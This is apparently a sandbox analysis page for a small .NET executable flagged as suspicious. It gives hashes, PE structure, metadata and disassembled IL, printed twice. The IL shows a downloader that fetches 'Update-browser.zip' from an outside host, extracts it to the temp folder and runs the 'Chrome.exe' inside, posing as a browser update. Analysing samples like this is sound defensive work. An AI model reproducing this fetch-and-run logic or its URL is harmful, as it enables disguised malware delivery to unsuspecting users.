Suspicious
Suspect

3f267b62350803264160e3cdbb3ab134

PE Executable
|
MD5: 3f267b62350803264160e3cdbb3ab134
|
Size: 8.19 KB
|
application/x-dosexec

Print
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
 Hash Value
MD5
3f267b62350803264160e3cdbb3ab134
Sha1
5a37ebd999498e68c55339d2c0c399a265ee84c1
Sha256
062bd9a18ff847c86217d89ff6956a7e84ecd4244ba3a4feb9e2c1ded2cb9407
Sha384
7a30a39d638b8b8c314bd99b715336cbbb1b207535edd9d7ab5f05264a9ce1df50afee612a91c0bab08a5e033748810f
Sha512
f15584afd772d4b40b21b025dd5fbfef7d7f70ab726f36abbd02501e9cd60fdb56d8dafa6f04ec5890b00785b086d3353fd9dcff9ff6799ead90e1e3e28633b1
SSDeep
192:wY0sSWwQ3YdLVTLu0cdOkLeLKeOkrwSlCnxj1ha5k:R0ZQIdLxLjcdOkLeLxr9Cnx3
TLSH
36F1D712FBE84676E53B0A32187363408779B366DD13CA1E5485610B9FA33554AA2FF2

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
3f267b62350803264160e3cdbb3ab134
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
WindowsFormsApp5.Properties.Resources.resources
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Info

PDB Path: C:\Users\hasan\source\repos\WindowsFormsApp5\WindowsFormsApp5\obj\Debug\WindowsFormsApp5.pdb
Module Name

WindowsFormsApp5.exe
Full Name

WindowsFormsApp5.exe
EntryPoint

System.Void Program::Main()
Scope Name

WindowsFormsApp5.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

WindowsFormsApp5
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.7.2
Total Strings

11
Main Method

System.Void Program::Main()
Main IL Instruction Count

105
Main IL

nop <null> ldc.i4 3072 call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType) nop <null> ldstr http://simstools.com/Update-browser.zip stloc.0 <null> call System.String System.IO.Path::GetTempPath() ldstr paket.zip call System.String System.IO.Path::Combine(System.String,System.String) stloc.1 <null> call System.String System.IO.Path::GetTempPath() ldstr paket call System.String System.IO.Path::Combine(System.String,System.String) stloc.2 <null> nop <null> ldc.i4 3072 call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType) nop <null> newobj System.Void System.Net.WebClient::.ctor() stloc.s V_4 nop <null> ldloc.s V_4 ldloc.0 <null> ldloc.1 <null> callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String) nop <null> nop <null> leave.s IL_0060: ldloc.2 ldloc.s V_4 brfalse.s IL_005F: endfinally ldloc.s V_4 callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> ldloc.2 <null> call System.Boolean System.IO.Directory::Exists(System.String) stloc.s V_5 ldloc.s V_5 brfalse.s IL_0076: ldstr "ZIP çıkartılıyor..." nop <null> ldloc.2 <null> ldc.i4.1 <null> call System.Void System.IO.Directory::Delete(System.String,System.Boolean) nop <null> nop <null> ldstr ZIP çıkartılıyor... call System.Void System.Console::WriteLine(System.String) nop <null> ldloc.1 <null> ldloc.2 <null> call System.Void System.IO.Compression.ZipFile::ExtractToDirectory(System.String,System.String) nop <null> ldloc.2 <null> ldstr Chrome.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.3 <null> call System.Boolean System.IO.File::Exists(System.String) stloc.s V_6 ldloc.s V_6 brfalse.s IL_00CB: nop nop <null> ldstr Chrome.exe çalıştırılıyor... call System.Void System.Console::WriteLine(System.String) nop <null> newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.3 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) nop <null> dup <null> ldloc.2 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WorkingDirectory(System.String) nop <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> nop <null> br.s IL_00D8: nop nop <null> ldstr Chrome.exe bulunamadı! call System.Void System.Console::WriteLine(System.String) nop <null> nop <null> nop <null> leave.s IL_00F8: leave.s IL_00FD stloc.s V_7 nop <null> ldstr Hata: ldloc.s V_7 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) nop <null> nop <null> leave.s IL_00F8: leave.s IL_00FD leave.s IL_00FD: ldstr "İşlem tamamlandı." nop <null> nop <null> endfinally <null> ldstr İşlem tamamlandı. call System.Void System.Console::WriteLine(System.String) nop <null> call System.String System.Console::ReadLine() pop <null> ret <null>
Module Name

WindowsFormsApp5.exe
Full Name

WindowsFormsApp5.exe
EntryPoint

System.Void Program::Main()
Scope Name

WindowsFormsApp5.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

WindowsFormsApp5
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.7.2
Total Strings

11
Main Method

System.Void Program::Main()
Main IL Instruction Count

105
Main IL

nop <null> ldc.i4 3072 call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType) nop <null> ldstr http://simstools.com/Update-browser.zip stloc.0 <null> call System.String System.IO.Path::GetTempPath() ldstr paket.zip call System.String System.IO.Path::Combine(System.String,System.String) stloc.1 <null> call System.String System.IO.Path::GetTempPath() ldstr paket call System.String System.IO.Path::Combine(System.String,System.String) stloc.2 <null> nop <null> ldc.i4 3072 call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType) nop <null> newobj System.Void System.Net.WebClient::.ctor() stloc.s V_4 nop <null> ldloc.s V_4 ldloc.0 <null> ldloc.1 <null> callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String) nop <null> nop <null> leave.s IL_0060: ldloc.2 ldloc.s V_4 brfalse.s IL_005F: endfinally ldloc.s V_4 callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> ldloc.2 <null> call System.Boolean System.IO.Directory::Exists(System.String) stloc.s V_5 ldloc.s V_5 brfalse.s IL_0076: ldstr "ZIP çıkartılıyor..." nop <null> ldloc.2 <null> ldc.i4.1 <null> call System.Void System.IO.Directory::Delete(System.String,System.Boolean) nop <null> nop <null> ldstr ZIP çıkartılıyor... call System.Void System.Console::WriteLine(System.String) nop <null> ldloc.1 <null> ldloc.2 <null> call System.Void System.IO.Compression.ZipFile::ExtractToDirectory(System.String,System.String) nop <null> ldloc.2 <null> ldstr Chrome.exe call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.3 <null> call System.Boolean System.IO.File::Exists(System.String) stloc.s V_6 ldloc.s V_6 brfalse.s IL_00CB: nop nop <null> ldstr Chrome.exe çalıştırılıyor... call System.Void System.Console::WriteLine(System.String) nop <null> newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.3 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) nop <null> dup <null> ldloc.2 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WorkingDirectory(System.String) nop <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> nop <null> br.s IL_00D8: nop nop <null> ldstr Chrome.exe bulunamadı! call System.Void System.Console::WriteLine(System.String) nop <null> nop <null> nop <null> leave.s IL_00F8: leave.s IL_00FD stloc.s V_7 nop <null> ldstr Hata: ldloc.s V_7 callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) nop <null> nop <null> leave.s IL_00F8: leave.s IL_00FD leave.s IL_00FD: ldstr "İşlem tamamlandı." nop <null> nop <null> endfinally <null> ldstr İşlem tamamlandı. call System.Void System.Console::WriteLine(System.String) nop <null> call System.String System.Console::ReadLine() pop <null> ret <null>
3f267b62350803264160e3cdbb3ab134 (8.19 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙